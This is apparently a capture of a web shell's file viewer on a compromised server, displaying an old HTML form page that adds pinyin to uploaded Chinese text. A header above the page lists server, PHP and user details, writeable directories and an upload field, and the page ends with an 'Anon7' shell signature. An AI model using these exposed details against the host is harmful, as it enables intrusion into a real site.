KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/mandarintools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/mandarintools/file_addpy.html
<HTML>
<HEAD>
<TITLE>Add PY to File</TITLE>
<!-- <META HTTP-EQUIV="REFRESH" content="1;url=http://www.mandarintools.com/addpy.html"> -->
</HEAD>
<BODY BGCOLOR="#FFFFFF">
<CENTER><H1>Add PinYin to a File</H1></CENTER>

   <!-- <FONT COLOR=RED>This tool is temporarily out of order.  I will try
to find another server willing to host it. -->  If you would like to run
this tool on your own web server, you can download all the necessary files in
either a <A HREF="download/addpy.zip">zip file</A> (good for DOS and
Windows) or a <A HREF="download/addpy.tar.gz">gzipped tar file</A>
(good for UNIX).  You will need CGI access for your account.  If you
don't know what that means, ask your service provider.
<P>

<FORM ENCTYPE="multipart/form-data" method="POST" action="http://cgibin.erols.com/eepeter/cgi-bin/file_addpy.pl">
<TABLE BORDER=3 ALIGN=CENTER>
<TR ALIGN=CENTER>
 <TD COLSPAN=2>
   File Name: <input type="file" size="50" name="file">
 </TD>
</TR>
<TR ALIGN=CENTER>
 <TD>
  Difficulty Level: 
<SELECT NAME="level">
<OPTION value="0" SELECTED> 1
<OPTION value="1"> 2
<OPTION value="2"> 3
<OPTION value="3"> 4
<OPTION value="4"> 5
<OPTION value="5"> 6
<OPTION value="6"> 7
<OPTION value="7"> 8
<OPTION value="8"> 9
<OPTION value="9"> 10
</SELECT>
 </TD>
 <TD>
Number of Times to Add Pinyin:
<SELECT NAME="howmany">
<OPTION value="onetime" SELECTED> Add Only to First
<OPTION value="all"> Add to All
</SELECT>
 </TD>
</TR>
<TR ALIGN=CENTER>
 <TD COLSPAN=2>
Character Encoding: 
<input type="radio" name="encoding" value="autodetect" checked> Auto-detect
<input type="radio" name="encoding" value="big5"> Big5
<input type="radio" name="encoding" value="gb"> GB 
<input type="radio" name="encoding" value="utf8"> UTF-8<BR>
 </TD>
</TR>

<TR ALIGN=CENTER>
<TD COLSPAN=2>
Place pinyin 
<SELECT NAME="placement">
<OPTION value="side" SELECTED> next to
<OPTION value="top"> on top of
</SELECT>
 the character
</TD>
</TR>

<TR ALIGN=CENTER>
 <TD>
  <input type="submit" value="Submit File">
 </TD>
 <TD>
  <input type="reset" value="Reset Form">
 </TD>
</TR>
</TABLE>
</FORM>

<P>


  This form allows you to select a file on your computer Chinese
characters.  It will return that file, with pinyin added next to the
characters.  You can select the level of pinyin added to the page.
For example, if you select level 1 (beginning), all characters in the
page will have pinyin added.  If you select 2 (intermediate
beginning), all characters above the 500 most frequently used
characters will have pinyin added, if 3 (advanced beginning) then all
above the 1,000 most frequently used characters, and so on up to level
10 which will only list characters less common that the 4,500 most
commonly used characters.  If you can reach this level, then my hat
goes off to you.  Either way, you can select the level that best suits
your ability.
<P>
  Some characters can have multiple pronunciations, depending
on context.  This tool gives all of the possibilities.  However, you can visit
the <A HREF="annotate.html">Annotator</A> page for my latest attempts 
to make the conversion process more accurate by giving the correct
pronunciation for each character in context.
<P>
   You also have the option of how many times pinyin will be added for 
a character.  If "Only Add for First" then pinyin will only be added
for the first occurence of the character, if "Add for All" then pinyin 
will be added for each occurance of the character.
 <P>
 The GB file I use is missing about 300 characters, but I think they
are the most uncommon characters so this should not a problem unless
you are a student of ancient Buddhist texts.  
 <P>
    There are probably other problems I haven't found yet.  I'm
working on them all and would appreciate hearing suggestions 
or ideas.  Enjoy!
 <P>

I'm interested in hearing your ideas and suggestions for this tool.  Please
visit my <A HREF="contact.html">guestbook</A> to let me know your comments and
suggestions.  If you came to this page directly, you might also want to take
a look at some of my other <A HREF="http://www.mandarintools.com/" target="_top">on-line Chinese tools</A>.

</BODY>
</HTML>

Anon7 - 2021